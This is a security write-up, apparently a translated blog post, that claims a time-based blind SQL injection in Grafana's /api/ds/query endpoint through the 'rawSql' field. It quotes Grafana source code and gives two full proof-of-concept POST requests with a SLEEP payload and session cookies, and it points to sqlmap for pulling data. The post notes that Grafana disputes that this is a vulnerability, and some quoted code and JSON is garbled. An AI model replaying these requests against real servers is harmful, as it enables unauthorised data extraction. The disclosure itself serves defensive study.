Vulnerability description
Open Source Platform for Monitoring and Observability To exploit this sql injection vulnerability, one must log in to the grafana web backend with a valid account and then send a malicious POST request to the /api/ds/query "rawSql" entry.
If an attacker logs into the grafana web backend, they can use a post request to the /api/ds/query api, where they can then modify the "rawSql" file to execute a malicious sql string, leading to a blind time-based sql injection vulnerability, which then leaks data from the database. data from the database.
risk level
high
Affected versions
grafana latest and all old versions
Vulnerability analysis
Affected code blocks and functions
- grafana grafana-sql package in grafana/packages/grafana-sql/src/datasource/SqlDatasource.ts file
// NOTE: this always runs with the `@grafana/data/getDefaultTimeRange` time range.
async runSql(query: string, options?: RunSQLOptions) {
const range = getDefaultTimeRange();
const frame = await this.runMetaQuery({ rawSql: query, format: QueryFormat.Table, refId: options?.refId }, range);
return new DataFrameView(frame);
}
private runMetaQuery(request: Partial, range: TimeRange): Promise {
const refId = request.refId || 'meta';
const queries: DataQuery[] = [{ ...request, datasource: request.datasource || this.getRef(), refId }];]
return lastValueFrom(
getBackendSrv()
.fetch({
url: '/api/ds/query',
method: 'POST',
headers: this.getRequestHeaders(),
data: {
from: range.from.valueOf().toString(),
to: range.to.valueOf().toString(),
queries,
},
requestId: refId,
})
.pipe(
map((res: FetchResponse) => {
const rsp = toDataQueryResponse(res, queries);
return rsp.data[0] ?? { fields: [] }
})
)
);
}
- grafana datasource plugin in grafana/public/app/plugins/datasource/influxdb/datasource.ts file
async metricFindQuery(query: string, options?: any): Promise {
if (
this.version === InfluxVersion.Flux ||
this.version === InfluxVersion.SQL ||
this.isMigrationToggleOnAndIsAccessProxy()
) {
const target: InfluxQuery & SQLQuery = {
refId: 'metricFindQuery',
query,
rawQuery: true,
...(this.version === InfluxVersion.SQL ? { rawSql: query, format: QueryFormat.Table } : {}), ...(this.version === InfluxVersion.SQL ?
};
return lastValueFrom(
super.query({
...(options ?? {}), // includes 'range'
targets: [target],
})
).then(this.toMetricFindValue);
}
const interpolated = this.templateSrv.replace(
query,
options?
(value: string | string[] = [], variable: QueryVariableModel) => this.interpolateQueryExpr(value, variable, query)
);
return lastValueFrom(this._seriesQuery(interpolated, options)).then((resp) => {
return this.responseParser.parse(query, resp);
});
}
……
return lastValueFrom(
getBackendSrv()
.fetch({
url: '/api/ds/query',
method: 'POST',
headers: this.getRequestHeaders(),
data: {
from: options.range.from.valueOf().toString(),
to: options.range.to.valueOf().toString(),
queries: [target],
},
requestId: annotation.name,
})
.pipe(
map(
async (res: FetchResponse) =>
await this.responseParser.transformAnnotationResponse(annotation, res, target)
)
)
);
Grafana does not validate any queries sent to the DataSource agent
Vulnerability recurrence:
An attacker can use the above steps for sql injection, which is grafana sends sql statement query resulting in a bug.
grafana v8.0.4 poc:
POST /api/ds/query HTTP/1.1
Host: 172.16.32.57:3000
User-Agent: qzd_security_test_user_agent
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.16.32.57:3000/d/AEo5dM44k/pei-xun-xi-tong?orgId=1
content-type: application/json
x-grafana-org-id: 1
Content-Length: 142
Origin: http://172.16.32.57:3000
DNT: 1
Connection: close
Cookie: grafana_session=ede75844e20b0001a30e2c8522e5f1fc
{"queries":[{"refId": "A", "format". "time_series", "datasourceId":2, "rawSql":"( SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)", "maxDataPoints":10000}]}
Log in to the backend and click "Explore", then use burp to capture the POST /api/ds/query packet, change the "rawSql" entry to a malicious sql string, and then we get the time-based and we get a time-based sql injection.
POST /api/ds/query HTTP/1.1
Host: 172.28.171.25:3000
User-Agent: qzd_security_test_user_agent
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.28.171.25:3000/explore
content-type: application/json
x-datasource-uid: edj6pz14v89a8c
x-grafana-device-id: 6eda885e8d5e5370781b533e605dd6fb
x-grafana-org-id: 1
x-plugin-id: mysql
Content-Length: 201
Origin: http://172.28.171.25:3000
DNT: 1
Connection: close
Cookie: grafana_session=dfa008ccdbe45635eed9592216f2f04a; grafana_session_expiry=1713514866
{"from": "1713492692433″, "to": "1713514292433″," queries":[{"rawSql":"(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)", "format": "table", "refId": "datasets ", "datasource":{"type": "mysql"," uid": "edj6pz14v89a8c"}}]}
You can now drag data using sqlmap
Vulnerability Repair
Grafana does not validate any queries sent to the DataSource agent; filtering must be done on the data source side.
The official grafana security team doesn't think it's a vulnerability, it's a feature on the back end and it must make me very uneasy ......
But I don't think so, which is why I published this article :)
reference resource
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/#limit-viewer-query-permissions
Original article by xbear, if reproduced, please credit https://cncso.com/en/grafana-sql-injection-high-risk-vuln-html